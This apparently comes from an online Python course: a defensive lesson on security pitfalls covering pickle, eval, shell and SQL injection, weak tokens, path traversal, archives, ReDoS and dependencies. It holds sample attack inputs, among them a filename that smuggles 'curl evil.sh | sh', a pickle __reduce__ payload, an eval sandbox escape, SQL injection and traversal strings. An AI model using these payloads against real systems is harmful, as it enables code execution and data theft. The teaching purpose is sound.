Skip to content

Lesson 50 of 52Real projects

Python Security Pitfalls

The Python-specific ways code gets owned: pickle, eval, shell and SQL injection, weak tokens, path traversal, archives, ReDoS, assert and your dependencies.

17 min read0/5 questions

You are reviewing a pull request for an internal reporting tool. It caches reports by pickling them into a shared bucket, converts uploads with subprocess.run(f"pdftotext {name} out.txt", shell=True), makes password-reset tokens with random.choices, extracts customer archives with extractall, and checks permissions with assert user.is_admin. Every line works in the demo, and every one of them is a security bug. None of them is exotic: they are the standard library used the convenient way. This lesson goes through the Python-specific pitfalls that show up in real code reviews, in security scanners, and in interviews. API Security covered HTTP, authorisation and CORS, and Security Habits for Developers covered the basics of password storage. Here the focus is on the language and its standard library.

Deserialisation: pickle runs code

pickle does not store data. It stores instructions for rebuilding objects, and one of those instructions is "call this function with these arguments". Any object can choose what that function is through __reduce__. So pickle.loads on bytes from an attacker means the attacker runs code on your machine.

Python
import jsonimport pickleimport pickletools class Payload: # pickle asks an object how to rebuild itself. The answer can be any callable. def __reduce__(self): return (print, ("this ran inside pickle.loads(), it could have been os.system",)) blob = pickle.dumps(Payload()) # what an attacker uploads as "cached data"pickletools.dis(blob) # the bytes are instructions, not data pickle.loads(blob) # the victim only "loads data" # JSON can only ever produce dicts, lists, strings, numbers, booleans and Noneprint(json.loads('{"report": "q3", "rows": [1, 2, 3]}'))
Output
Press Run (⌘ Enter) to see what happens.

STACK_GLOBAL looks up builtins.print, and REDUCE calls it. Swap print for os.system and the string for a shell command, and the victim's process runs it. The victim's code never mentioned Payload; it does not need to.

How a poisoned cache becomes remote code execution
AttackerShared bucketReport workerOperating systemupload report.pklfetch report.pklbytespickle.loads: REDUCE os.system(...)

The attacker only needs write access to where you read pickles from: a cache, a queue, an upload folder, a model file from the internet.

1/4

The same applies to everything built on pickle: shelve, pandas.read_pickle, joblib.load, and most machine-learning checkpoint formats. marshal is not safe for untrusted data either. Rules that hold up:

  • For data that crosses a trust boundary, use JSON (or MessagePack, Protocol Buffers, Parquet). These formats can only describe data.
  • For YAML, use yaml.safe_load. Plain yaml.load with the full or unsafe loader can construct arbitrary Python objects.
  • For model weights, prefer safetensors. Recent PyTorch versions default torch.load to weights_only=True; never turn that off for a file you downloaded. NumPy's np.load refuses pickled arrays unless you pass allow_pickle=True, so do not.
  • Pickle is fine for data your own process wrote and only your process can modify, such as a local multiprocessing queue.
Quick check
A teammate says pickle is safe here because the code only unpickles objects of their own Report class. Are they right?
Need a nudge? A hint rules out a wrong answer.

eval, exec and ast.literal_eval

eval runs any expression, so eval(user_input) is remote code execution with one call. People try to make it safe by removing builtins. It does not work, because every object in Python can reach every class through introspection:

Python
import ast # "Safe" eval: no builtins, so no open() or __import__... right?user_input = "().__class__.__base__.__subclasses__()"found = eval(user_input, {"__builtins__": {}}, {})print(f"reached {len(found)} classes, including the import machinery:", any(c.__name__ == "BuiltinImporter" for c in found)) # literal_eval accepts Python literals and nothing elseprint(ast.literal_eval("{'limit': 10, 'tags': ['a', 'b'], 'ratio': 0.5}"))for attack in ["__import__('os').getcwd()", "(1).__class__", "[x for x in range(3)]"]: try: ast.literal_eval(attack) except ValueError as err: print("rejected:", attack, "->", type(err).__name__)
Output
Press Run (⌘ Enter) to see what happens.

From an empty tuple the attacker walked up to object and down to every loaded class, including the ones that import modules and open files. There is no reliable sandbox for eval inside CPython.

If you need to read Python-literal syntax (a config value like [1, 2, 3]), use ast.literal_eval, which parses and only accepts literals. Still cap the input length: very deep nesting can exhaust the parser. For anything richer, such as user-defined formulas, write a small parser that walks ast nodes against an allowlist, or use a dedicated expression library.

Injection: shells, arguments and SQL

API Security showed the core rule for subprocesses: pass a list, never shell=True with user input. Here is why, plus two details beyond it.

Python
import shleximport sqlite3 filename = "report.pdf; curl evil.sh | sh" # What a shell would see with an f-string, and with shlex.quoteprint("unsafe:", f"pdftotext {filename} out.txt")print("quoted:", f"pdftotext {shlex.quote(filename)} out.txt")print("as list:", ["pdftotext", "--", filename, "out.txt"]) # no shell at all # SQL: the same bug, the same fixdb = sqlite3.connect(":memory:")db.execute("CREATE TABLE users (name TEXT, is_admin INTEGER)")db.executemany("INSERT INTO users VALUES (?, ?)", [("ada", 1), ("bo", 0)]) name = "nobody' OR '1'='1"unsafe = db.execute(f"SELECT name FROM users WHERE name = '{name}'").fetchall()safe = db.execute("SELECT name FROM users WHERE name = ?", (name,)).fetchall()print("f-string rows:", unsafe)print("parameter rows:", safe)
Output
Press Run (⌘ Enter) to see what happens.
  • With a list of arguments, no shell parses the string, so ; and | are just characters in a strange filename.
  • If a shell is unavoidable (a pipeline you cannot rewrite), shlex.quote each untrusted piece. It is POSIX-only, so it does not protect cmd.exe.
  • A list still allows argument injection: a filename like --output=/etc/cron.d/x is read by the program as an option. Put -- before user-supplied positional arguments, which most Unix tools treat as "no more options", or reject values that start with -.

For SQL, the database driver sends parameters separately from the query text, so the quote in nobody' OR '1'='1 is just part of a name. Type checkers can enforce this: annotate a query parameter as typing.LiteralString and the checker rejects any string built from runtime input, such as an f-string with a variable in it. Python 3.14's t-strings go further: t"... {name}" produces a Template object rather than a str, so a library can see which parts were interpolated and turn them into parameters. Check whether your database library supports them before relying on it.

Tokens, comparisons and passwords

random is a Mersenne Twister. It is fast and reproducible, which is exactly wrong for secrets: after observing 624 32-bit outputs, an attacker can reconstruct its internal state and predict every future value. Anything an attacker must not guess comes from secrets, which reads the operating system's cryptographic generator.

Python
import hashlibimport hmacimport randomimport secrets # random is a Mersenne Twister: fast, reproducible, and predictable.# Anyone who sees enough outputs can compute every future one.r1, r2 = random.Random(42), random.Random(42)print("same seed, same 'token':", r1.getrandbits(64) == r2.getrandbits(64)) # secrets uses the operating system's CSPRNGprint("reset token:", len(secrets.token_urlsafe(32)), "chars") # Verifying a webhook: recompute the HMAC and compare in constant timeSECRET = b"whsec_from_your_settings"body = b'{"event": "invoice.paid", "id": "in_42"}'sent_signature = hmac.new(SECRET, body, hashlib.sha256).hexdigest() def is_authentic(body: bytes, signature: str) -> bool: expected = hmac.new(SECRET, body, hashlib.sha256).hexdigest() return hmac.compare_digest(expected, signature) # not == print("genuine:", is_authentic(body, sent_signature))print("tampered:", is_authentic(body.replace(b"in_42", b"in_43"), sent_signature))
Output
Press Run (⌘ Enter) to see what happens.

== on strings stops at the first differing character, so its timing leaks how much of a guess was right. Over many requests an attacker can recover a signature or API key one character at a time. hmac.compare_digest takes the same time however much matches. Use it whenever you compare a secret, signature or token.

For passwords, a fast hash is the wrong tool. SHA-256 is designed to be fast, so a GPU tries billions of guesses per second against a leaked table. Use a deliberately slow, salted algorithm. In Python that means argon2-cffi (Argon2id) or bcrypt:

auth/passwords.py
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
 
ph = PasswordHasher()                     # sensible Argon2id defaults, salt included
 
 
def hash_password(password: str) -> str:
    return ph.hash(password)              # store this whole string
 
 
def check_password(stored: str, password: str) -> bool:
    try:
        ph.verify(stored, password)
    except VerifyMismatchError:
        return False
    return True                           # also call ph.check_needs_rehash(stored) after login

hashlib.scrypt and hashlib.pbkdf2_hmac are in the standard library and acceptable when you cannot add a dependency, but you must pick the cost parameters yourself; check OWASP's current recommendations.

Quick check
Which line is fine for a password-reset token?
Need a nudge? A hint rules out a wrong answer.

Paths, archives and temp files

Whenever a user-supplied string becomes part of a path, assume it contains ../. Two facts make this worse in Python than people expect: joining with an absolute path throws away everything before it, and .. is only resolved when you call resolve().

Python
import ioimport tarfileimport tempfilefrom pathlib import Path # Paths: an "id" from a URL is not a file nameUPLOADS = Path("/srv/app/uploads") def safe_path(user_name: str) -> Path: target = (UPLOADS / user_name).resolve() if not target.is_relative_to(UPLOADS.resolve()): raise PermissionError(f"{user_name!r} escapes the upload folder") return target print(safe_path("invoice-42.pdf"))for bad in ["../../etc/passwd", "/etc/passwd"]: try: safe_path(bad) except PermissionError as err: print("blocked:", err) # Archives: a member named ../evil.txt (zip slip, tar edition)buf = io.BytesIO()with tarfile.open(fileobj=buf, mode="w") as tar: data = b"pwned" info = tarfile.TarInfo("../evil.txt") info.size = len(data) tar.addfile(info, io.BytesIO(data)) buf.seek(0)with tempfile.TemporaryDirectory() as dest, tarfile.open(fileobj=buf) as tar: try: tar.extractall(dest, filter="data") # the default since 3.14 except tarfile.FilterError as err: print(type(err).__name__, "for member", err.tarinfo.name)
Output
Press Run (⌘ Enter) to see what happens.

The check is resolve first, then compare. resolve() collapses .. and follows symlinks, and is_relative_to confirms the result is still inside the folder. Checking the raw string for ".." misses absolute paths, symlinks and encoded variants. Better still, never use the user's string as a name at all: store the upload under an ID you generate and keep the original name in the database.

Archives have the same bug inside them, known as zip slip: a member named ../../app/config.py or a symlink pointing at /etc. Since Python 3.14, tarfile extraction applies the "data" filter by default, which rejects members that escape the destination, absolute paths, links outside it, and device files. On older versions you must pass filter="data" yourself, and you should pass it explicitly anyway so the intent is clear. zipfile's extractall cleans member names, but if you write members out yourself with open(dest / member.filename, "wb"), you have reintroduced the bug. Also check file_size totals before extracting, because a small archive can expand to fill a disk (a zip bomb).

Temporary files at fixed names like /tmp/report.csv are a race: another user on the machine can create that path first, as a symlink to a file you can write to. Use tempfile.NamedTemporaryFile, mkstemp or TemporaryDirectory, which create unpredictable names with safe permissions.

Predict the outputPython

What does this print on Linux or macOS?

from pathlib import Path
print(Path("/srv/app/uploads") / "/etc/passwd")
Need a nudge? Hints walk you through it.

Parsers that can be turned against you: XML and regex

XML has features most applications never use but parsers support: entities that expand to other entities (the "billion laughs" attack, a few kilobytes that expand to gigabytes) and external entities that read local files or make network requests. The standard library parsers have improved, and the Python docs keep a table of which attack affects which parser and Expat version. For XML from outside your organisation, the simple rule is defusedxml, a drop-in replacement for the standard parsers with the dangerous features off.

Regular expressions can hang a server. Python's re engine backtracks: when a match fails, it tries every other way of splitting the input. With nested quantifiers, the number of ways grows exponentially with input length. This is ReDoS (regular expression denial of service):

Python
import reimport time evil = re.compile(r"^(a+)+$") # nested quantifiersfixed = re.compile(r"^a+$") # same language, no nesting for n in (16, 18, 20, 22): text = "a" * n + "!" # almost matches, then fails at the end start = time.perf_counter() evil.match(text) slow = time.perf_counter() - start start = time.perf_counter() fixed.match(text) fast = time.perf_counter() - start print(f"n={n}: nested {slow * 1000:8.1f} ms flat {fast * 1000:.3f} ms")
Output
Press Run (⌘ Enter) to see what happens.

Each two extra characters multiply the time by about four. Thirty characters in a form field is enough to pin a CPU core for minutes. Defences: avoid nested or overlapping quantifiers like (a+)+ and (\w|\d)*, cap input length before matching, and use atomic groups (?>...) or possessive quantifiers like a++ (both added in Python 3.11), which forbid backtracking into the group. For patterns that users supply, use an engine without backtracking, such as Google's RE2 through a Python binding.

assert is not a security check

assert statements are removed when Python runs with -O, and some deployments do that. A permission check written as an assertion disappears silently:

Python
source = '''def delete_account(user, target): assert user.is_admin, "admins only" return f"deleted {target}"''' class User: is_admin = False for level in (0, 1): # 1 is what python -O does ns = {} exec(compile(source, "admin.py", "exec", optimize=level), ns) try: print(f"optimize={level}:", ns["delete_account"](User(), "bo")) except AssertionError as err: print(f"optimize={level}: AssertionError:", err)
Output
Press Run (⌘ Enter) to see what happens.

Use assert for internal invariants and tests. For anything that guards data or permissions, write if not user.is_admin: raise PermissionError(...).

Match the pairs0/6 matched

Match each risky call to its safer replacement.

Choose an item, then its match on the other side.

Your dependencies and your secrets

Most Python code in production was written by someone else, and installing a package can run its code. Supply-chain attacks target exactly that:

  • Typosquatting: reqeusts or python-dateutils published with a malicious payload. Copy install names from official docs, and review new dependencies in pull requests like code.
  • Dependency confusion: an attacker publishes your internal package name on PyPI with a higher version. uv's default index strategy only takes a package from the first index that has it, which blocks the classic attack; with pip and --extra-index-url, the highest version from any index wins. Name internal packages with a prefix you have registered, or configure a single private index.
  • Known vulnerabilities: run pip-audit in CI and on a schedule, as API Security showed.
  • Lockfiles with hashes: uv.lock records a hash for every file, so a swapped file on the index fails the install instead of running.

Secrets belong in environment variables or a secret manager, loaded once through a settings object, never in source or in logs. Mark secret fields with repr=False on dataclasses or SecretStr in Pydantic so a stray print(settings) does not leak them.

Finally, let tools find the easy cases. Ruff's S rules (ported from the Bandit project) flag pickle.loads, yaml.load, eval, shell=True, assert, hard-coded passwords, random for security and more:

pyproject.toml
[tool.ruff.lint]
select = ["E", "F", "I", "B", "UP", "S"]
 
[tool.ruff.lint.per-file-ignores]
"tests/**" = ["S101"]   # assert is fine in tests

A linter will not understand your authorisation rules, but it catches the patterns in this lesson for free on every commit.

Quick check
An endpoint is protected by assert request.user.is_staff. Production runs python -O. What happens when a non-staff user calls it?
Need a nudge? A hint rules out a wrong answer.

That checklist is the last piece of the Real projects unit. Next, you put it to work in a project: a small habit tracker for the terminal, built stage by stage from a data model to tested, working code.

Key terms
deserialisation attack
Supplying crafted bytes to a loader like pickle so that loading them runs the attacker's code.
ast.literal_eval
Parses a string containing only Python literals, and rejects calls, names and attributes.
argument injection
User input read as a command-line option, such as a filename starting with --.
constant-time comparison
Comparing secrets in time that does not depend on how many characters match, as hmac.compare_digest does.
path traversal
Using ../ or absolute paths in input to read or write files outside the intended folder.
zip slip
An archive member whose name escapes the extraction folder.
ReDoS
A denial of service caused by a regex that backtracks exponentially on crafted input.